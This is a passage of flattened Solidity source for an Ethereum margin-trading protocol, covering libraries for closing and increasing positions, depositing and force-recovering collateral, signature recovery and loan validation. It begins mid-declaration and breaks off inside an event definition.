CloseLoanDelegator { function closeLoanOnBehalfOf( address closer, address payoutRecipient, bytes32 positionId, uint256 requestedAmount ) external returns (address, uint256); } interface ClosePositionDelegator { function closeOnBehalfOf( address closer, address payoutRecipient, bytes32 positionId, uint256 requestedAmount ) external returns (address, uint256); } library ClosePositionShared { using SafeMath for uint256; struct CloseTx { bytes32 positionId; uint256 originalPrincipal; uint256 closeAmount; uint256 owedTokenOwed; uint256 startingHeldTokenBalance; uint256 availableHeldToken; address payoutRecipient; address owedToken; address heldToken; address positionOwner; address positionLender; address exchangeWrapper; bool payoutInHeldToken; } function closePositionStateUpdate( MarginState.State storage state, CloseTx memory transaction ) internal { if (transaction.closeAmount == transaction.originalPrincipal) { MarginCommon.cleanupPosition(state, transaction.positionId); } else { assert( transaction.originalPrincipal == state.positions[transaction.positionId].principal ); state.positions[transaction.positionId].principal = transaction.originalPrincipal.sub(transaction.closeAmount); } } function sendTokensToPayoutRecipient( MarginState.State storage state, ClosePositionShared.CloseTx memory transaction, uint256 buybackCostInHeldToken, uint256 receivedOwedToken ) internal returns (uint256) { uint256 payout; if (transaction.payoutInHeldToken) { payout = transaction.availableHeldToken.sub(buybackCostInHeldToken); Vault(state.VAULT).transferFromVault( transaction.positionId, transaction.heldToken, transaction.payoutRecipient, payout ); } else { assert(transaction.exchangeWrapper != address(0)); payout = receivedOwedToken.sub(transaction.owedTokenOwed); TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.owedToken, transaction.exchangeWrapper, transaction.payoutRecipient, payout ); } if (AddressUtils.isContract(transaction.payoutRecipient)) { require( PayoutRecipient(transaction.payoutRecipient).receiveClosePositionPayout( transaction.positionId, transaction.closeAmount, msg.sender, transaction.positionOwner, transaction.heldToken, payout, transaction.availableHeldToken, transaction.payoutInHeldToken ), "ClosePositionShared#sendTokensToPayoutRecipient: Payout recipient does not consent" ); } assert( MarginCommon.getPositionBalanceImpl(state, transaction.positionId) == transaction.startingHeldTokenBalance.sub(transaction.availableHeldToken) ); return payout; } function createCloseTx( MarginState.State storage state, bytes32 positionId, uint256 requestedAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bool isWithoutCounterparty ) internal returns (CloseTx memory) { require( payoutRecipient != address(0), "ClosePositionShared#createCloseTx: Payout recipient cannot be 0" ); require( requestedAmount > 0, "ClosePositionShared#createCloseTx: Requested close amount cannot be 0" ); MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); uint256 closeAmount = getApprovedAmount( position, positionId, requestedAmount, payoutRecipient, isWithoutCounterparty ); return parseCloseTx( state, position, positionId, closeAmount, payoutRecipient, exchangeWrapper, payoutInHeldToken, isWithoutCounterparty ); } function getApprovedAmount( MarginCommon.Position storage position, bytes32 positionId, uint256 requestedAmount, address payoutRecipient, bool requireLenderApproval ) private returns (uint256) { uint256 allowedAmount = Math.min256(requestedAmount, position.principal); allowedAmount = closePositionOnBehalfOfRecurse( position.owner, msg.sender, payoutRecipient, positionId, allowedAmount ); if (requireLenderApproval) { allowedAmount = closeLoanOnBehalfOfRecurse( position.lender, msg.sender, payoutRecipient, positionId, allowedAmount ); } assert(allowedAmount > 0); assert(allowedAmount <= position.principal); assert(allowedAmount <= requestedAmount); return allowedAmount; } function closePositionOnBehalfOfRecurse( address contractAddr, address closer, address payoutRecipient, bytes32 positionId, uint256 closeAmount ) private returns (uint256) { if (closer == contractAddr) { return closeAmount; } ( address newContractAddr, uint256 newCloseAmount ) = ClosePositionDelegator(contractAddr).closeOnBehalfOf( closer, payoutRecipient, positionId, closeAmount ); require( newCloseAmount <= closeAmount, "ClosePositionShared#closePositionRecurse: newCloseAmount is greater than closeAmount" ); require( newCloseAmount > 0, "ClosePositionShared#closePositionRecurse: newCloseAmount is zero" ); if (newContractAddr != contractAddr) { closePositionOnBehalfOfRecurse( newContractAddr, closer, payoutRecipient, positionId, newCloseAmount ); } return newCloseAmount; } function closeLoanOnBehalfOfRecurse( address contractAddr, address closer, address payoutRecipient, bytes32 positionId, uint256 closeAmount ) private returns (uint256) { if (closer == contractAddr) { return closeAmount; } ( address newContractAddr, uint256 newCloseAmount ) = CloseLoanDelegator(contractAddr).closeLoanOnBehalfOf( closer, payoutRecipient, positionId, closeAmount ); require( newCloseAmount <= closeAmount, "ClosePositionShared#closeLoanRecurse: newCloseAmount is greater than closeAmount" ); require( newCloseAmount > 0, "ClosePositionShared#closeLoanRecurse: newCloseAmount is zero" ); if (newContractAddr != contractAddr) { closeLoanOnBehalfOfRecurse( newContractAddr, closer, payoutRecipient, positionId, newCloseAmount ); } return newCloseAmount; } function parseCloseTx( MarginState.State storage state, MarginCommon.Position storage position, bytes32 positionId, uint256 closeAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bool isWithoutCounterparty ) private view returns (CloseTx memory) { uint256 startingHeldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId); uint256 availableHeldToken = MathHelpers.getPartialAmount( closeAmount, position.principal, startingHeldTokenBalance ); uint256 owedTokenOwed = 0; if (!isWithoutCounterparty) { owedTokenOwed = MarginCommon.calculateOwedAmount( position, closeAmount, block.timestamp ); } return CloseTx({ positionId: positionId, originalPrincipal: position.principal, closeAmount: closeAmount, owedTokenOwed: owedTokenOwed, startingHeldTokenBalance: startingHeldTokenBalance, availableHeldToken: availableHeldToken, payoutRecipient: payoutRecipient, owedToken: position.owedToken, heldToken: position.heldToken, positionOwner: position.owner, positionLender: position.lender, exchangeWrapper: exchangeWrapper, payoutInHeldToken: payoutInHeldToken }); } } interface ExchangeWrapper { function exchange( address tradeOriginator, address receiver, address makerToken, address takerToken, uint256 requestedFillAmount, bytes orderData ) external returns (uint256); function getExchangeCost( address makerToken, address takerToken, uint256 desiredMakerToken, bytes orderData ) external view returns (uint256); } library ClosePositionImpl { using SafeMath for uint256; event PositionClosed( bytes32 indexed positionId, address indexed closer, address indexed payoutRecipient, uint256 closeAmount, uint256 remainingAmount, uint256 owedTokenPaidToLender, uint256 payoutAmount, uint256 buybackCostInHeldToken, bool payoutInHeldToken ); function closePositionImpl( MarginState.State storage state, bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient, address exchangeWrapper, bool payoutInHeldToken, bytes memory orderData ) public returns (uint256, uint256, uint256) { ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx( state, positionId, requestedCloseAmount, payoutRecipient, exchangeWrapper, payoutInHeldToken, false ); ( uint256 buybackCostInHeldToken, uint256 receivedOwedToken ) = returnOwedTokensToLender( state, transaction, orderData ); uint256 payout = ClosePositionShared.sendTokensToPayoutRecipient( state, transaction, buybackCostInHeldToken, receivedOwedToken ); ClosePositionShared.closePositionStateUpdate(state, transaction); logEventOnClose( transaction, buybackCostInHeldToken, payout ); return ( transaction.closeAmount, payout, transaction.owedTokenOwed ); } function returnOwedTokensToLender( MarginState.State storage state, ClosePositionShared.CloseTx memory transaction, bytes memory orderData ) private returns (uint256, uint256) { uint256 buybackCostInHeldToken = 0; uint256 receivedOwedToken = 0; uint256 lenderOwedToken = transaction.owedTokenOwed; if (transaction.exchangeWrapper == address(0)) { require( transaction.payoutInHeldToken, "ClosePositionImpl#returnOwedTokensToLender: Cannot payout in owedToken" ); TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.owedToken, msg.sender, transaction.positionLender, lenderOwedToken ); } else { (buybackCostInHeldToken, receivedOwedToken) = buyBackOwedToken( state, transaction, orderData ); if (transaction.payoutInHeldToken) { assert(receivedOwedToken >= lenderOwedToken); lenderOwedToken = receivedOwedToken; } TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.owedToken, transaction.exchangeWrapper, transaction.positionLender, lenderOwedToken ); } state.totalOwedTokenRepaidToLender[transaction.positionId] = state.totalOwedTokenRepaidToLender[transaction.positionId].add(lenderOwedToken); return (buybackCostInHeldToken, receivedOwedToken); } function buyBackOwedToken( MarginState.State storage state, ClosePositionShared.CloseTx transaction, bytes memory orderData ) private returns (uint256, uint256) { uint256 buybackCostInHeldToken; if (transaction.payoutInHeldToken) { buybackCostInHeldToken = ExchangeWrapper(transaction.exchangeWrapper) .getExchangeCost( transaction.owedToken, transaction.heldToken, transaction.owedTokenOwed, orderData ); require( buybackCostInHeldToken <= transaction.availableHeldToken, "ClosePositionImpl#buyBackOwedToken: Not enough available heldToken" ); } else { buybackCostInHeldToken = transaction.availableHeldToken; } Vault(state.VAULT).transferFromVault( transaction.positionId, transaction.heldToken, transaction.exchangeWrapper, buybackCostInHeldToken ); uint256 receivedOwedToken = ExchangeWrapper(transaction.exchangeWrapper).exchange( msg.sender, state.TOKEN_PROXY, transaction.owedToken, transaction.heldToken, buybackCostInHeldToken, orderData ); require( receivedOwedToken >= transaction.owedTokenOwed, "ClosePositionImpl#buyBackOwedToken: Did not receive enough owedToken" ); return (buybackCostInHeldToken, receivedOwedToken); } function logEventOnClose( ClosePositionShared.CloseTx transaction, uint256 buybackCostInHeldToken, uint256 payout ) private { emit PositionClosed( transaction.positionId, msg.sender, transaction.payoutRecipient, transaction.closeAmount, transaction.originalPrincipal.sub(transaction.closeAmount), transaction.owedTokenOwed, payout, buybackCostInHeldToken, transaction.payoutInHeldToken ); } } library CloseWithoutCounterpartyImpl { using SafeMath for uint256; event PositionClosed( bytes32 indexed positionId, address indexed closer, address indexed payoutRecipient, uint256 closeAmount, uint256 remainingAmount, uint256 owedTokenPaidToLender, uint256 payoutAmount, uint256 buybackCostInHeldToken, bool payoutInHeldToken ); function closeWithoutCounterpartyImpl( MarginState.State storage state, bytes32 positionId, uint256 requestedCloseAmount, address payoutRecipient ) public returns (uint256, uint256) { ClosePositionShared.CloseTx memory transaction = ClosePositionShared.createCloseTx( state, positionId, requestedCloseAmount, payoutRecipient, address(0), true, true ); uint256 heldTokenPayout = ClosePositionShared.sendTokensToPayoutRecipient( state, transaction, 0, 0 ); ClosePositionShared.closePositionStateUpdate(state, transaction); logEventOnCloseWithoutCounterparty(transaction); return ( transaction.closeAmount, heldTokenPayout ); } function logEventOnCloseWithoutCounterparty( ClosePositionShared.CloseTx transaction ) private { emit PositionClosed( transaction.positionId, msg.sender, transaction.payoutRecipient, transaction.closeAmount, transaction.originalPrincipal.sub(transaction.closeAmount), 0, transaction.availableHeldToken, 0, true ); } } interface DepositCollateralDelegator { function depositCollateralOnBehalfOf( address depositor, bytes32 positionId, uint256 amount ) external returns (address); } library DepositCollateralImpl { using SafeMath for uint256; event AdditionalCollateralDeposited( bytes32 indexed positionId, uint256 amount, address depositor ); event MarginCallCanceled( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 depositAmount ); function depositCollateralImpl( MarginState.State storage state, bytes32 positionId, uint256 depositAmount ) public { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( depositAmount > 0, "DepositCollateralImpl#depositCollateralImpl: Deposit amount cannot be 0" ); depositCollateralOnBehalfOfRecurse( position.owner, msg.sender, positionId, depositAmount ); Vault(state.VAULT).transferToVault( positionId, position.heldToken, msg.sender, depositAmount ); bool marginCallCanceled = false; uint256 requiredDeposit = position.requiredDeposit; if (position.callTimestamp > 0 && requiredDeposit > 0) { if (depositAmount >= requiredDeposit) { position.requiredDeposit = 0; position.callTimestamp = 0; marginCallCanceled = true; } else { position.requiredDeposit = position.requiredDeposit.sub(depositAmount); } } emit AdditionalCollateralDeposited( positionId, depositAmount, msg.sender ); if (marginCallCanceled) { emit MarginCallCanceled( positionId, position.lender, msg.sender, depositAmount ); } } function depositCollateralOnBehalfOfRecurse( address contractAddr, address depositor, bytes32 positionId, uint256 amount ) private { if (depositor == contractAddr) { return; } address newContractAddr = DepositCollateralDelegator(contractAddr).depositCollateralOnBehalfOf( depositor, positionId, amount ); if (newContractAddr != contractAddr) { depositCollateralOnBehalfOfRecurse( newContractAddr, depositor, positionId, amount ); } } } interface ForceRecoverCollateralDelegator { function forceRecoverCollateralOnBehalfOf( address recoverer, bytes32 positionId, address recipient ) external returns (address); } library ForceRecoverCollateralImpl { using SafeMath for uint256; event CollateralForceRecovered( bytes32 indexed positionId, address indexed recipient, uint256 amount ); function forceRecoverCollateralImpl( MarginState.State storage state, bytes32 positionId, address recipient ) public returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( ( position.callTimestamp > 0 && block.timestamp >= uint256(position.callTimestamp).add(position.callTimeLimit) ) || ( block.timestamp >= uint256(position.startTimestamp).add(position.maxDuration) ), "ForceRecoverCollateralImpl#forceRecoverCollateralImpl: Cannot recover yet" ); forceRecoverCollateralOnBehalfOfRecurse( position.lender, msg.sender, positionId, recipient ); uint256 heldTokenRecovered = MarginCommon.getPositionBalanceImpl(state, positionId); Vault(state.VAULT).transferFromVault( positionId, position.heldToken, recipient, heldTokenRecovered ); MarginCommon.cleanupPosition( state, positionId ); emit CollateralForceRecovered( positionId, recipient, heldTokenRecovered ); return heldTokenRecovered; } function forceRecoverCollateralOnBehalfOfRecurse( address contractAddr, address recoverer, bytes32 positionId, address recipient ) private { if (recoverer == contractAddr) { return; } address newContractAddr = ForceRecoverCollateralDelegator(contractAddr).forceRecoverCollateralOnBehalfOf( recoverer, positionId, recipient ); if (newContractAddr != contractAddr) { forceRecoverCollateralOnBehalfOfRecurse( newContractAddr, recoverer, positionId, recipient ); } } } library TypedSignature { uint8 private constant SIGTYPE_INVALID = 0; uint8 private constant SIGTYPE_ECRECOVER_DEC = 1; uint8 private constant SIGTYPE_ECRECOVER_HEX = 2; uint8 private constant SIGTYPE_UNSUPPORTED = 3; bytes constant private PREPEND_HEX = "\x19Ethereum Signed Message:\n\x20"; bytes constant private PREPEND_DEC = "\x19Ethereum Signed Message:\n32"; function recover( bytes32 hash, bytes signatureWithType ) internal pure returns (address) { require( signatureWithType.length == 66, "SignatureValidator#validateSignature: invalid signature length" ); uint8 sigType = uint8(signatureWithType[0]); require( sigType > uint8(SIGTYPE_INVALID), "SignatureValidator#validateSignature: invalid signature type" ); require( sigType < uint8(SIGTYPE_UNSUPPORTED), "SignatureValidator#validateSignature: unsupported signature type" ); uint8 v = uint8(signatureWithType[1]); bytes32 r; bytes32 s; assembly { r := mload(add(signatureWithType, 34)) s := mload(add(signatureWithType, 66)) } bytes32 signedHash; if (sigType == SIGTYPE_ECRECOVER_DEC) { signedHash = keccak256(abi.encodePacked(PREPEND_DEC, hash)); } else { assert(sigType == SIGTYPE_ECRECOVER_HEX); signedHash = keccak256(abi.encodePacked(PREPEND_HEX, hash)); } return ecrecover( signedHash, v, r, s ); } } interface LoanOfferingVerifier { function verifyLoanOffering( address[9] addresses, uint256[7] values256, uint32[4] values32, bytes32 positionId, bytes signature ) external returns (address); } library BorrowShared { using SafeMath for uint256; struct Tx { bytes32 positionId; address owner; uint256 principal; uint256 lenderAmount; MarginCommon.LoanOffering loanOffering; address exchangeWrapper; bool depositInHeldToken; uint256 depositAmount; uint256 collateralAmount; uint256 heldTokenFromSell; } function validateTxPreSell( MarginState.State storage state, Tx memory transaction ) internal { assert(transaction.lenderAmount >= transaction.principal); require( transaction.principal > 0, "BorrowShared#validateTxPreSell: Positions with 0 principal are not allowed" ); if (transaction.loanOffering.taker != address(0)) { require( msg.sender == transaction.loanOffering.taker, "BorrowShared#validateTxPreSell: Invalid loan offering taker" ); } if (transaction.loanOffering.positionOwner != address(0)) { require( transaction.owner == transaction.loanOffering.positionOwner, "BorrowShared#validateTxPreSell: Invalid position owner" ); } if (AddressUtils.isContract(transaction.loanOffering.payer)) { getConsentFromSmartContractLender(transaction); } else { require( transaction.loanOffering.payer == TypedSignature.recover( transaction.loanOffering.loanHash, transaction.loanOffering.signature ), "BorrowShared#validateTxPreSell: Invalid loan offering signature" ); } uint256 unavailable = MarginCommon.getUnavailableLoanOfferingAmountImpl( state, transaction.loanOffering.loanHash ); require( transaction.lenderAmount.add(unavailable) <= transaction.loanOffering.rates.maxAmount, "BorrowShared#validateTxPreSell: Loan offering does not have enough available" ); require( transaction.lenderAmount >= transaction.loanOffering.rates.minAmount, "BorrowShared#validateTxPreSell: Lender amount is below loan offering minimum amount" ); require( transaction.loanOffering.owedToken != transaction.loanOffering.heldToken, "BorrowShared#validateTxPreSell: owedToken cannot be equal to heldToken" ); require( transaction.owner != address(0), "BorrowShared#validateTxPreSell: Position owner cannot be 0" ); require( transaction.loanOffering.owner != address(0), "BorrowShared#validateTxPreSell: Loan owner cannot be 0" ); require( transaction.loanOffering.expirationTimestamp > block.timestamp, "BorrowShared#validateTxPreSell: Loan offering is expired" ); require( transaction.loanOffering.maxDuration > 0, "BorrowShared#validateTxPreSell: Loan offering has 0 maximum duration" ); require( transaction.loanOffering.rates.interestPeriod <= transaction.loanOffering.maxDuration, "BorrowShared#validateTxPreSell: Loan offering interestPeriod > maxDuration" ); } function doPostSell( MarginState.State storage state, Tx memory transaction ) internal { validateTxPostSell(transaction); transferLoanFees(state, transaction); state.loanFills[transaction.loanOffering.loanHash] = state.loanFills[transaction.loanOffering.loanHash].add(transaction.lenderAmount); } function doSell( MarginState.State storage state, Tx transaction, bytes orderData, uint256 maxHeldTokenToBuy ) internal returns (uint256) { pullOwedTokensFromLender(state, transaction); uint256 sellAmount = transaction.depositInHeldToken ? transaction.lenderAmount : transaction.lenderAmount.add(transaction.depositAmount); uint256 heldTokenFromSell = Math.min256( maxHeldTokenToBuy, ExchangeWrapper(transaction.exchangeWrapper).exchange( msg.sender, state.TOKEN_PROXY, transaction.loanOffering.heldToken, transaction.loanOffering.owedToken, sellAmount, orderData ) ); Vault(state.VAULT).transferToVault( transaction.positionId, transaction.loanOffering.heldToken, transaction.exchangeWrapper, heldTokenFromSell ); transaction.collateralAmount = transaction.collateralAmount.add(heldTokenFromSell); return heldTokenFromSell; } function doDepositOwedToken( MarginState.State storage state, Tx transaction ) internal { TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.loanOffering.owedToken, msg.sender, transaction.exchangeWrapper, transaction.depositAmount ); } function doDepositHeldToken( MarginState.State storage state, Tx transaction ) internal { Vault(state.VAULT).transferToVault( transaction.positionId, transaction.loanOffering.heldToken, msg.sender, transaction.depositAmount ); transaction.collateralAmount = transaction.collateralAmount.add(transaction.depositAmount); } function validateTxPostSell( Tx transaction ) private pure { uint256 expectedCollateral = transaction.depositInHeldToken ? transaction.heldTokenFromSell.add(transaction.depositAmount) : transaction.heldTokenFromSell; assert(transaction.collateralAmount == expectedCollateral); uint256 loanOfferingMinimumHeldToken = MathHelpers.getPartialAmountRoundedUp( transaction.lenderAmount, transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.minHeldToken ); require( transaction.collateralAmount >= loanOfferingMinimumHeldToken, "BorrowShared#validateTxPostSell: Loan offering minimum held token not met" ); } function getConsentFromSmartContractLender( Tx transaction ) private { verifyLoanOfferingRecurse( transaction.loanOffering.payer, getLoanOfferingAddresses(transaction), getLoanOfferingValues256(transaction), getLoanOfferingValues32(transaction), transaction.positionId, transaction.loanOffering.signature ); } function verifyLoanOfferingRecurse( address contractAddr, address[9] addresses, uint256[7] values256, uint32[4] values32, bytes32 positionId, bytes signature ) private { address newContractAddr = LoanOfferingVerifier(contractAddr).verifyLoanOffering( addresses, values256, values32, positionId, signature ); if (newContractAddr != contractAddr) { verifyLoanOfferingRecurse( newContractAddr, addresses, values256, values32, positionId, signature ); } } function pullOwedTokensFromLender( MarginState.State storage state, Tx transaction ) private { TokenProxy(state.TOKEN_PROXY).transferTokens( transaction.loanOffering.owedToken, transaction.loanOffering.payer, transaction.exchangeWrapper, transaction.lenderAmount ); } function transferLoanFees( MarginState.State storage state, Tx transaction ) private { if (transaction.loanOffering.feeRecipient == address(0)) { return; } TokenProxy proxy = TokenProxy(state.TOKEN_PROXY); uint256 lenderFee = MathHelpers.getPartialAmount( transaction.lenderAmount, transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.lenderFee ); uint256 takerFee = MathHelpers.getPartialAmount( transaction.lenderAmount, transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.takerFee ); if (lenderFee > 0) { proxy.transferTokens( transaction.loanOffering.lenderFeeToken, transaction.loanOffering.payer, transaction.loanOffering.feeRecipient, lenderFee ); } if (takerFee > 0) { proxy.transferTokens( transaction.loanOffering.takerFeeToken, msg.sender, transaction.loanOffering.feeRecipient, takerFee ); } } function getLoanOfferingAddresses( Tx transaction ) private pure returns (address[9]) { return [ transaction.loanOffering.owedToken, transaction.loanOffering.heldToken, transaction.loanOffering.payer, transaction.loanOffering.owner, transaction.loanOffering.taker, transaction.loanOffering.positionOwner, transaction.loanOffering.feeRecipient, transaction.loanOffering.lenderFeeToken, transaction.loanOffering.takerFeeToken ]; } function getLoanOfferingValues256( Tx transaction ) private pure returns (uint256[7]) { return [ transaction.loanOffering.rates.maxAmount, transaction.loanOffering.rates.minAmount, transaction.loanOffering.rates.minHeldToken, transaction.loanOffering.rates.lenderFee, transaction.loanOffering.rates.takerFee, transaction.loanOffering.expirationTimestamp, transaction.loanOffering.salt ]; } function getLoanOfferingValues32( Tx transaction ) private pure returns (uint32[4]) { return [ transaction.loanOffering.callTimeLimit, transaction.loanOffering.maxDuration, transaction.loanOffering.rates.interestRate, transaction.loanOffering.rates.interestPeriod ]; } } interface IncreaseLoanDelegator { function increaseLoanOnBehalfOf( address payer, bytes32 positionId, uint256 principalAdded, uint256 lentAmount ) external returns (address); } interface IncreasePositionDelegator { function increasePositionOnBehalfOf( address trader, bytes32 positionId, uint256 principalAdded ) external returns (address); } library IncreasePositionImpl { using SafeMath for uint256; event PositionIncreased( bytes32 indexed positionId, address indexed trader, address indexed lender, address positionOwner, address loanOwner, bytes32 loanHash, address loanFeeRecipient, uint256 amountBorrowed, uint256 principalAdded, uint256 heldTokenFromSell, uint256 depositAmount, bool depositInHeldToken ); function increasePositionImpl( MarginState.State storage state, bytes32 positionId, address[7] addresses, uint256[8] values256, uint32[2] values32, bool depositInHeldToken, bytes signature, bytes orderData ) public returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); BorrowShared.Tx memory transaction = parseIncreasePositionTx( position, positionId, addresses, values256, values32, depositInHeldToken, signature ); validateIncrease(state, transaction, position); doBorrowAndSell(state, transaction, orderData); updateState( position, transaction.positionId, transaction.principal, transaction.lenderAmount, transaction.loanOffering.payer ); recordPositionIncreased(transaction, position); return transaction.lenderAmount; } function increaseWithoutCounterpartyImpl( MarginState.State storage state, bytes32 positionId, uint256 principalToAdd ) public returns (uint256) { MarginCommon.Position storage position = MarginCommon.getPositionFromStorage(state, positionId); require( principalToAdd > 0, "IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot add 0 principal" ); require( block.timestamp < uint256(position.startTimestamp).add(position.maxDuration), "IncreasePositionImpl#increaseWithoutCounterpartyImpl: Cannot increase after maxDuration" ); uint256 heldTokenAmount = getCollateralNeededForAddedPrincipal( state, position, positionId, principalToAdd ); Vault(state.VAULT).transferToVault( positionId, position.heldToken, msg.sender, heldTokenAmount ); updateState( position, positionId, principalToAdd, 0, msg.sender ); emit PositionIncreased( positionId, msg.sender, msg.sender, position.owner, position.lender, "", address(0), 0, principalToAdd, 0, heldTokenAmount, true ); return heldTokenAmount; } function doBorrowAndSell( MarginState.State storage state, BorrowShared.Tx memory transaction, bytes orderData ) private { uint256 collateralToAdd = getCollateralNeededForAddedPrincipal( state, state.positions[transaction.positionId], transaction.positionId, transaction.principal ); BorrowShared.validateTxPreSell(state, transaction); uint256 maxHeldTokenFromSell = MathHelpers.maxUint256(); if (!transaction.depositInHeldToken) { transaction.depositAmount = getOwedTokenDeposit(transaction, collateralToAdd, orderData); BorrowShared.doDepositOwedToken(state, transaction); maxHeldTokenFromSell = collateralToAdd; } transaction.heldTokenFromSell = BorrowShared.doSell( state, transaction, orderData, maxHeldTokenFromSell ); if (transaction.depositInHeldToken) { require( transaction.heldTokenFromSell <= collateralToAdd, "IncreasePositionImpl#doBorrowAndSell: DEX order gives too much heldToken" ); transaction.depositAmount = collateralToAdd.sub(transaction.heldTokenFromSell); BorrowShared.doDepositHeldToken(state, transaction); } assert(transaction.collateralAmount == collateralToAdd); BorrowShared.doPostSell(state, transaction); } function getOwedTokenDeposit( BorrowShared.Tx transaction, uint256 collateralToAdd, bytes orderData ) private view returns (uint256) { uint256 totalOwedToken = ExchangeWrapper(transaction.exchangeWrapper).getExchangeCost( transaction.loanOffering.heldToken, transaction.loanOffering.owedToken, collateralToAdd, orderData ); require( transaction.lenderAmount <= totalOwedToken, "IncreasePositionImpl#getOwedTokenDeposit: Lender amount is more than required" ); return totalOwedToken.sub(transaction.lenderAmount); } function validateIncrease( MarginState.State storage state, BorrowShared.Tx transaction, MarginCommon.Position storage position ) private view { assert(MarginCommon.containsPositionImpl(state, transaction.positionId)); require( position.callTimeLimit <= transaction.loanOffering.callTimeLimit, "IncreasePositionImpl#validateIncrease: Loan callTimeLimit is less than the position" ); uint256 positionEndTimestamp = uint256(position.startTimestamp).add(position.maxDuration); uint256 offeringEndTimestamp = block.timestamp.add(transaction.loanOffering.maxDuration); require( positionEndTimestamp <= offeringEndTimestamp, "IncreasePositionImpl#validateIncrease: Loan end timestamp is less than the position" ); require( block.timestamp < positionEndTimestamp, "IncreasePositionImpl#validateIncrease: Position has passed its maximum duration" ); } function getCollateralNeededForAddedPrincipal( MarginState.State storage state, MarginCommon.Position storage position, bytes32 positionId, uint256 principalToAdd ) private view returns (uint256) { uint256 heldTokenBalance = MarginCommon.getPositionBalanceImpl(state, positionId); return MathHelpers.getPartialAmountRoundedUp( principalToAdd, position.principal, heldTokenBalance ); } function updateState( MarginCommon.Position storage position, bytes32 positionId, uint256 principalAdded, uint256 owedTokenLent, address loanPayer ) private { position.principal = position.principal.add(principalAdded); address owner = position.owner; address lender = position.lender; increasePositionOnBehalfOfRecurse( owner, msg.sender, positionId, principalAdded ); increaseLoanOnBehalfOfRecurse( lender, loanPayer, positionId, principalAdded, owedTokenLent ); } function increasePositionOnBehalfOfRecurse( address contractAddr, address trader, bytes32 positionId, uint256 principalAdded ) private { if (trader == contractAddr && !AddressUtils.isContract(contractAddr)) { return; } address newContractAddr = IncreasePositionDelegator(contractAddr).increasePositionOnBehalfOf( trader, positionId, principalAdded ); if (newContractAddr != contractAddr) { increasePositionOnBehalfOfRecurse( newContractAddr, trader, positionId, principalAdded ); } } function increaseLoanOnBehalfOfRecurse( address contractAddr, address payer, bytes32 positionId, uint256 principalAdded, uint256 amountLent ) private { if (payer == contractAddr && !AddressUtils.isContract(contractAddr)) { return; } address newContractAddr = IncreaseLoanDelegator(contractAddr).increaseLoanOnBehalfOf( payer, positionId, principalAdded, amountLent ); if (newContractAddr != contractAddr) { increaseLoanOnBehalfOfRecurse( newContractAddr, payer, positionId, principalAdded, amountLent ); } } function recordPositionIncreased( BorrowShared.Tx transaction, MarginCommon.Position storage position ) private { emit PositionIncreased( transaction.positionId, msg.sender, transaction.loanOffering.payer, position.owner, position.lender, transaction.loanOffering.loanHash, transaction.loanOffering.feeRecipient, transaction.lenderAmount, transaction.principal, transaction.heldTokenFromSell, transaction.depositAmount, transaction.depositInHeldToken ); } function parseIncreasePositionTx( MarginCommon.Position storage position, bytes32 positionId, address[7] addresses, uint256[8] values256, uint32[2] values32, bool depositInHeldToken, bytes signature ) private view returns (BorrowShared.Tx memory) { uint256 principal = values256[7]; uint256 lenderAmount = MarginCommon.calculateLenderAmountForIncreasePosition( position, principal, block.timestamp ); assert(lenderAmount >= principal); BorrowShared.Tx memory transaction = BorrowShared.Tx({ positionId: positionId, owner: position.owner, principal: principal, lenderAmount: lenderAmount, loanOffering: parseLoanOfferingFromIncreasePositionTx( position, addresses, values256, values32, signature ), exchangeWrapper: addresses[6], depositInHeldToken: depositInHeldToken, depositAmount: 0, collateralAmount: 0, heldTokenFromSell: 0 }); return transaction; } function parseLoanOfferingFromIncreasePositionTx( MarginCommon.Position storage position, address[7] addresses, uint256[8] values256, uint32[2] values32, bytes signature ) private view returns (MarginCommon.LoanOffering memory) { MarginCommon.LoanOffering memory loanOffering = MarginCommon.LoanOffering({ owedToken: position.owedToken, heldToken: position.heldToken, payer: addresses[0], owner: position.lender, taker: addresses[1], positionOwner: addresses[2], feeRecipient: addresses[3], lenderFeeToken: addresses[4], takerFeeToken: addresses[5], rates: parseLoanOfferingRatesFromIncreasePositionTx(position, values256), expirationTimestamp: values256[5], callTimeLimit: values32[0], maxDuration: values32[1], salt: values256[6], loanHash: 0, signature: signature }); loanOffering.loanHash = MarginCommon.getLoanOfferingHash(loanOffering); return loanOffering; } function parseLoanOfferingRatesFromIncreasePositionTx( MarginCommon.Position storage position, uint256[8] values256 ) private view returns (MarginCommon.LoanRates memory) { MarginCommon.LoanRates memory rates = MarginCommon.LoanRates({ maxAmount: values256[0], minAmount: values256[1], minHeldToken: values256[2], lenderFee: values256[3], takerFee: values256[4], interestRate: position.interestRate, interestPeriod: position.interestPeriod }); return rates; } } contract MarginStorage { MarginState.State state; } contract LoanGetters is MarginStorage { function getLoanUnavailableAmount( bytes32 loanHash ) external view returns (uint256) { return MarginCommon.getUnavailableLoanOfferingAmountImpl(state, loanHash); } function getLoanFilledAmount( bytes32 loanHash ) external view returns (uint256) { return state.loanFills[loanHash]; } function getLoanCanceledAmount( bytes32 loanHash ) external view returns (uint256) { return state.loanCancels[loanHash]; } } interface CancelMarginCallDelegator { function cancelMarginCallOnBehalfOf( address canceler, bytes32 positionId ) external returns (address); } interface MarginCallDelegator { function marginCallOnBehalfOf( address caller, bytes32 positionId, uint256 depositAmount ) external returns (address); } library LoanImpl { using SafeMath for uint256; event MarginCallInitiated( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 requiredDeposit ); event MarginCallCanceled( bytes32 indexed positionId, address indexed lender, address indexed owner, uint256 depositAmount 